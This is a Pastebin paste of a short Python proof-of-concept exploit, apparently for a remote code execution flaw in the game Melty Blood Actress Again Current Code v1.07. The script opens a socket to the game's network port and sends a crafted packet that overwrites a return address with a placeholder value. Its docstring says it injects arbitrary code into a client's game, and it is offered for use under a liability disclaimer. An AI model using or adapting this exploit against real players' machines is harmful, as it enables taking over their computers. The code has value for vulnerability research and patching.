Advertisement
Guest User

Melty Blood Actress Again Current Code v1.07 Rev. 1.4.0 Remote Code Execution

a guest
Jun 28th, 2024
5,113
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.23 KB | Cybersecurity | 0 0
  1. """This code will inject arbitrary code into a client's game.
  2.  
  3. You are fully responsible for all activity that occurs while using this code.
  4. The author of this code can not be held liable to you or to anyone else as a
  5. result of damages caused by the usage of this code.
  6. """
  7.  
  8. __author__ = 'MikeIsAStar'
  9. __date__ = '26 Jun 2024'
  10.  
  11. import socket
  12. import sys
  13.  
  14. if sys.version_info < (3, 6):
  15.     sys.exit('This program requires Python 3.6 or above !')
  16.  
  17.  
  18. # Variables
  19. TARGET_HOST = 'localhost'
  20. TARGET_PORT = 46318
  21. RETURN_ADDRESS = b'\x41\x41\x41\x41'
  22. assert(len(RETURN_ADDRESS) == 0x04)
  23.  
  24.  
  25. def main():
  26.     try:
  27.         with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as socket_object:
  28.             socket_object.connect((TARGET_HOST, TARGET_PORT))
  29.             socket_object.sendall(b'\x02\x00\x00\x00' + b'\xC1\x53\xE9\xFF' +
  30.                                   b'\x1C\x00\x00\x00' + b'\x98\xF9\xFF\xFF' + RETURN_ADDRESS)
  31.             socket_object.recv(0xA8, socket.MSG_WAITALL)
  32.         print(f"Successfully sent the data to the address '{TARGET_HOST}:{TARGET_PORT}' !")
  33.     except BaseException:
  34.         print(f"Failed to send the data to the address '{TARGET_HOST}:{TARGET_PORT}' !")
  35.  
  36.  
  37. if __name__ == '__main__':
  38.     main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement